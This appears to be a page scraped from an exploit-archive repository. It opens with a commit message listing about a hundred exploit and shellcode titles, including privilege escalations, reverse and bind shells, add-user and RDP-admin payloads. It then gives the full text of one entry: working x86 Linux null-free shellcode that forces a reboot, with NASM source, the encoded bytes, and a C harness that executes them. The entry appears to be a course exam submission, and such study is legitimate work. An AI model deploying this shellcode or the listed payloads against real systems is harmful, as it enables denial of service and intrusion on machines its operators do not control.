720fabd066
114 changes to exploits/shellcodes Notepad++ < 7.7 (x64) - Denial of Service winrar 5.80 64bit - Denial of Service WinRAR 5.80 (x64) - Denial of Service Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017) Microsoft Windows 7 SP1 (x86) - GDI Palette Objects Local Privilege Escalation (MS17-017) Microsoft Word 2007 (x86) - Information Disclosure IKARUS anti.virus 2.16.7 - 'ntguard_x64' Local Privilege Escalation ASX to MP3 Converter 1.82.50 (Windows 2003 x86) - '.asx' Local Stack Overflow Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution Microsoft Internet Explorer 11 (Windows 7 x86/x64) - vbscript Code Execution Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) MySQL User-Defined (Linux) (x32/x86_64) - 'sys_exec' Local Privilege Escalation MySQL User-Defined (Linux) (x86) - 'sys_exec' Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation Microsoft Windows (x86/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation Microsoft Windows (x86) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation R 3.4.4 (Windows 10 x64) - Buffer Overflow SEH (DEP/ASLR Bypass) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH) Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path DEWESoft X3 SP1 (64-bit) - Remote Command Execution DEWESoft X3 SP1 (x64) - Remote Command Execution CompleteFTP Professional 12.1.3 - Remote Code Execution TeamCity Agent XML-RPC 10.0 - Remote Code Execution eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution FreeBSD x86 / x64 - execve(/bin/sh) Anti-Debugging Shellcode (140 bytes) FreeBSD x86/x64 - execve(/bin/sh) Anti-Debugging Shellcode (140 bytes) Linux/x86 - /usr/bin/head -n99 cat etc/passwd Shellcode (61 Bytes) Linux/x86 - Kill All Processes Shellcode (14 bytes) Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes) Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode (25 bytes) Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes) Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes) Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes) Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes) Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode (25 bytes) Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes) Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes) Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes) Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes) Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve(/bin/sh) Shellcode (114 bytes) Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes) Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve(/bin/sh) Shellcode (114 bytes) Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes) Linux/x86 - Bind Shell Generator Shellcode (114 bytes) Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes) Linux/x86 - Bind Shell Generator Shellcode (114 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux/x86 - 'reboot' polymorphic Shellcode (26 bytes) Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes) Linux/x64 - Password (P3WP3Wl4ZerZ) + Bind (0.0.0.0:4444/TCP) Shell (/bin/bash) + Null-free Shellcode (272 Bytes) Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes) Linux/x64 - Password (P3WP3Wl4ZerZ) + Bind (0.0.0.0:4444/TCP) Shell (/bin/bash) + Null-free Shellcode (272 Bytes)
55 lines
No EOL
1.6 KiB
Text
55 lines
No EOL
1.6 KiB
Text
# Exploit Title: Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes)
|
|
# Purpose: This is a x86 Linux null-free polymorphic shellcode for forcing a reboot.
|
|
# Date: 2020-03-23
|
|
# Author: Upayan a.k.a. slaeryan
|
|
# Contact: upayansaha@icloud.com
|
|
# SLAE: 1525
|
|
# Vendor Homepage: None
|
|
# Software Link: None
|
|
# Tested on: Linux x86
|
|
# CVE: N/A
|
|
|
|
|
|
/*
|
|
; Filename: reboot_polymorphic.nasm
|
|
; Author: Upayan a.k.a. slaeryan
|
|
; SLAE: 1525
|
|
; Contact: upayansaha@icloud.com
|
|
; Purpose: This is a x86 Linux null-free polymorphic shellcode for forcing a reboot.
|
|
; Testing: ./reboot_polymorphic
|
|
; Compile with: ./compile.sh reboot_polymorphic
|
|
; Size of shellcode: 26 bytes
|
|
|
|
global _start
|
|
|
|
section .text
|
|
_start:
|
|
xor eax, eax ; Clearing the EAX register
|
|
xor ebx, ebx ; Clearing the EBX register
|
|
xor ecx, ecx ; Clearing the ECX register
|
|
cdq ; Clearing the EDX register
|
|
mov al, 0x58 ; Loading syscall value = 0x58 for reboot in AL
|
|
mov ebx, 0xfee1dead ; Loading magic 1 in EBX
|
|
mov ecx, 672274793 ; Loading magic 2 in ECX
|
|
mov edx, 0x1234567 ; Loading cmd val = LINUX_REBOOT_CMD_RESTART in EDX
|
|
int 0x80 ; Executing the reboot syscall
|
|
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
unsigned char code[] = \
|
|
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
|
|
|
|
void main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
} |